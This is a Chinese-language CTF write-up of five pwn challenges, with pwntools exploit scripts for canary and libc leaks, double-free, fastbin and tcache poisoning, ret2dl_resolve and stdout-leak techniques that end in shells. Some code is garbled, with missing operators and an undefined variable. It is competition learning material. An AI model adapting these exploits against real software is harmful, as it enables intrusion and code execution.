PWN部分 除了VM

Sart

  • 一共6题pwn题 只解出5题
  • PWN题总体来说除了我不会做的难度不大.从分数看来相比去年各个战队对pwn题的重视程度普遍提高
  • 无奈从没pwn过VM最后一题挣扎了半天也没什么效果等其他队伍wp出来了再好好学习一波

    your_pwn

    热身签到题,随便看,随便改. 无奈我太慌张了脑子一热居然上手就泄露canary… 泄漏完了就在想我是谁我在干什么.. 正确的做法是泄露libc 将返回地址改成one就可以了… 不想改exp直接放我那个傻逼exp把.. ```python from pwn import * #p=process(‘./pwn’) p=remote(“39.106.224.151”,57856) name=”n132” p.sendlineafter(“name:”,name) for x in range(7): p.sendlineafter(“index\n”,str(0x149+6-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff canary=re+canary*0x100

    p.sendlineafter(“value\n”,str(re))

base=0

for x in range(6): p.sendlineafter(“index\n”,str(0x278+5-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff base=re+base0x100 p.sendlineafter(“value\n”,str(re)) base=base-(0x7ffff7a2d830-0x00007ffff7a0d000) log.info(hex(base)) tmp=0 one=0x45216+base log.info(hex(one)) l=[0xff0000000000,0xff00000000,0xff000000,0xff0000,0xff00,0xff] for x in range(6): p.sendlineafter(“index\n”,str(0x278+5-x)) p.readuntil(“(hex) “) re=int(“0x”+p.readline()[:-1],16) re=re&0xff base=re+base0x100 p.sendlineafter(“value\n”,str((one&l[x])»(8*(5-x)))) context.log_level=’debug’ for x in range(22): p.sendlineafter(“index\n”,str(0)) p.sendlineafter(“value\n”,str(0)) p.sendlineafter(“es/no)? “,”no”) p.sendline(token) p.interactive()

# daily
这种题之前没见过
一开始思路错了...还以为是`house of spirite`...
幸亏一边写exp一遍想...发现`double free`更快...
也比较简单幸亏手速够快拿了个2血
## analysis
checksec
```python
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • 没开pie感觉自己有被迫害恐惧症…每次没开pie都没注意都以为题目开了pie做到一半才想起来
  • 存在show,没有末尾加截断可以泄露libc,heap
  • free idx没有检查可以free任意地址上的指针.

思路

  • 泄露libc,heap
  • heap上留指向某chunk的指针
  • double free

    exp

    ```python from pwn import * def cmd(c): p.sendlineafter(“ice:”,str(c)) def add(size,c=’A’): cmd(2) p.sendlineafter(“ily:”,str(size)) p.sendafter(“daily\n”,str(c)) def show(): cmd(1) def free(idx): cmd(4) p.sendlineafter(“ily:”,str(idx)) def edit(idx,c): cmd(3) p.sendlineafter(“ily:”,str(idx)) p.sendafter(“daily\n”,str(c)) context.log_level=’debug’ #p=process(‘./p2’) p=remote(“39.106.224.151”,58512) add(0x88,”A”)#0 add(0x18,”B”)#1 free(0) add(0x88,”A”)#0 show() p.readuntil(“0 : “) base=u64(p.read(6).ljust(8,’\x00’))-(0x7ffff7dd1b41-0x00007ffff7a0d000)

add(0x18,”A”)#2 free(1) free(2) add(0x18,”A”)#1 show() p.readuntil(“1 : “) heap=u64(p.readuntil(“=”)[:-1].ljust(8,’\x00’))-0x41

add(0x18,p64(0x68)+p64(heap+0xd0+0x10))#2 add(0x68,”A”)#3 add(0x68,’A’)#4 free(3) free(4) idx=(heap+0xa0-0x0602060)//16 free(idx) libc=ELF(“/lib/x86_64-linux-gnu/libc-2.23.so”) libc.address=base add(0x68,p64(libc.symbols[‘__malloc_hook’]-35))#3 add(0x68)#4 add(0x68)#5 one=0xf02a4 add(0x68,’\x00’*19+p64(one+base)) free(3) free(5) log.warning(hex(base)) log.warning(hex(heap)) #gdb.attach(p,’b *0x000000000400C16’)

p.interactive()

# baby_pwn
...这题就不敢恭维了..
这题我在前几天的[博客里][1]刚总结过...差不多的..这里不多说
结果本菜鸡 bss设置错误导致我弄了1小时45分才做出来...
## 经验
* dl的题目变化不大 特点是没有leak 有溢出
* 照着上次总结的模板改就可以
* 如果调试有问题先换换bss看看能不能运行过前面一些基本地址获取
* 注意是否可以获得符号`<_dl_fixup+166>    add    eax, dword ptr [ebx]`此条过后eax应该指向`fake_strtab`的`system`


```python
from pwn import *
context.log_level='debug'
context.arch='i386'
#p=process('./pwn')
p=remote("39.97.227.64",56833)
got=0x804a00c
read=0x8048390
rbp=0x080485db
ppp=0x080485d9
ret=0x080481ab
bss=0x0804a810
plt0=0x8048380
strtab=0x804827c
dynsym=0x80481dc
dynrel=0x804833c#plt
p2=flat(
[got,0x07+(((bss+0x10-dynsym)/0x10)<<8)],bss+0x28-0x804827c,bss+0x28-0x804827c,# DYN_REL & ALAIGN
[bss+0x28-strtab,0x12,0,0,0,0],#DYNSYM
)+"system\x00\x00"+"/bin/sh\x00"#DYNSTR

payload="\00"*0x28+p32(0)+p32(read)+p32(ppp)+p32(0)+p32(bss)+p32(0x597)+p32(plt0)+p32(bss-dynrel)+p32(bss+0x30)*2
p.send(payload)
#gdb.attach(p,'')
sleep(1)
p.send(p2)

p.interactive()

double

这题放的比bms晚几秒…导致我直接上手bms错过了竞争这题的前几血的机会… 这题主要是逆向逆清楚了就知道了…虽然我当时心里急没咋逆清楚就上手了…就是调着调着就出来了

Analysis

  • 存在show但是每次输入被截断
  • 没开pie,链表结构储存chunk
  • 内容相同的话不再创建新的内容chunk而是直接指向#这里我没逆清楚我只知道 空状况下add(A) add(A) add(B) free(0) free(2) free(1) 造成double free 不过也够用了
  • edit里用的是memncpy不会被0截断,add里面用的是strncpy会被截断…这个卡了我好久..一直以为都是strncpy

思路

  • double free 控制bss 盖掉head_ptr指向bss 上区域(因为我们不知道其他address)
  • edit 上去一个 fake_chunk 其中的ptr指向got用来泄露
  • show to leak
  • edit to hijacking

    exp

    from pwn import *
    #context.log_level='debug'
    def cmd(c):
      p.sendlineafter("> ",str(c))
    def add(size,data="A"):
      cmd(1)
      p.sendlineafter("data:\n",data.ljust(size,'\x00'))
    def show(idx):
      cmd(2)
      p.sendlineafter("dex: ",str(idx))
    def edit(idx,c,size):
      cmd(3)
      p.sendlineafter("dex: ",str(idx))
      p.sendline(c.ljust(size,'\x00'))
    def free(idx):
      cmd(4)
      p.sendlineafter("dex: ",str(idx))
    p=process('./pwn')
    #p=remote("39.106.224.151",40002)
    add(0x67,'A')#0
    add(0x67,"A")#1
    add(0x67,'B')#2
    add(0x17,'K')#3
    free(0)
    free(2)
    free(1)
    free(3)
    add(0x67,p64(0x4040bd))
    add(0x67,"B")
    add(0x67,"C")
    add(0x17,"A"*8+p64(0x000000000404018))
    add(0x67,"AAA")
    edit(0,"AAA"+p64(0x4040e0)*2+p64(0x6700000000)+p64(0x000000000404018),0x67)
    show(0)
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7a914f0-0x7ffff7a0d000)
    libc.address=base
    #
    add(0x17,"/bin/sh")
    edit(0,p64(libc.symbols['system']),8)
    log.warning(hex(base))
    free(1)
    p.interactive()#
    

    bms

    前面部分是让我逆向队友做的不太清楚他就说啥被耍了什么的… 最坑的一道题,充分诠释了做题5分钟,环境2小时… 一开始以为是2.23搞了半天利用控制bss不停清空,unsorted bin atk + partial write 本地不开aslr可以了开了1/4096…然后打了半天没反应.. 菜鸡的我完全没注意到群里面的公告…于是改变思路ubuntu18.04+libc2.27.8min完成exp(虽然是1/256不想改了..注意布局应该可以优化到1/16)…结果远程还是不行… 换成ubuntu17.10+libc.26..之前没有这个环境从0开始下了一个..迅雷真坑… 终于打通.

    Analysis

    题目在tcache下没啥难度就是简单的stdout_flag_leak 可以看看之前的一题HITCONE2018_babytcache

    exp

from pwn import *
def login():
	pass
def c(c):
	p.sendlineafter(">",str(c))
def ADD(size,des='A',name="\x00"*6):
	c(1)
	p.sendafter("name:",name)
	p.sendlineafter("size",str(size))
	p.sendafter("tion:",des)
def cmd(c):
	p.sendlineafter(">\n",str(c))
def add(size,des='A',name="\x00"*6):
	cmd(1)
	p.sendafter("name:",name)
	p.sendlineafter("size",str(size))
	p.sendafter("tion:",des)
def free(idx):
	cmd(2)
	p.sendlineafter("index:",str(idx))
def FREE(idx):
	c(2)
	p.sendlineafter("index:",str(idx))
#context.log_level='debug'
#p=process('./pwn')
p=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
p.sendlineafter("name:","admin")
p.sendlineafter("d:","frame")
#libc=ELF("libc-2.27.so")
add(0x68)#0
add(0x88)#1
add(0x28)#2
for x in range(8):
	free(1)
for x in range(7):
	free(2)

add(0x68,'\x20\x17')#3
free(0)
free(0)

add(0x68,'\x60\x35')#4icqf9be91c5a02ae0371b8d1bd5f06d7
add(0x68)#5
add(0x58)#6
free(6)
free(6)

add(0x58,p64(0x602060))
add(0x58)
add(0x58,p64(0)*10)

add(0x68)#0

add(0x68,p64(0xfbad1800)+p64(0)*3+'\x00')#1
p.read(8)
p.read(8)
p.read(8)
base=u64(p.read(8))-(0x7ffff7bad3e0-0x7ffff77d6000)
if base&0xfff!=0:
	p.close()
ADD(0x97,"A")#2
FREE(2)
FREE(2)
#gdb.attach(p)
log.warning(hex(base))
ADD(0x97,p64(0x3dac10+base))
ADD(0x97)
one=0xfdb8e
ADD(0x97,p64(one+base))
c(1)
p.interactive()

Review

题目难度总体不大… 不会逆向 的pwn手不是好pwn手 不会虚拟机 的pwn手不是好pwn手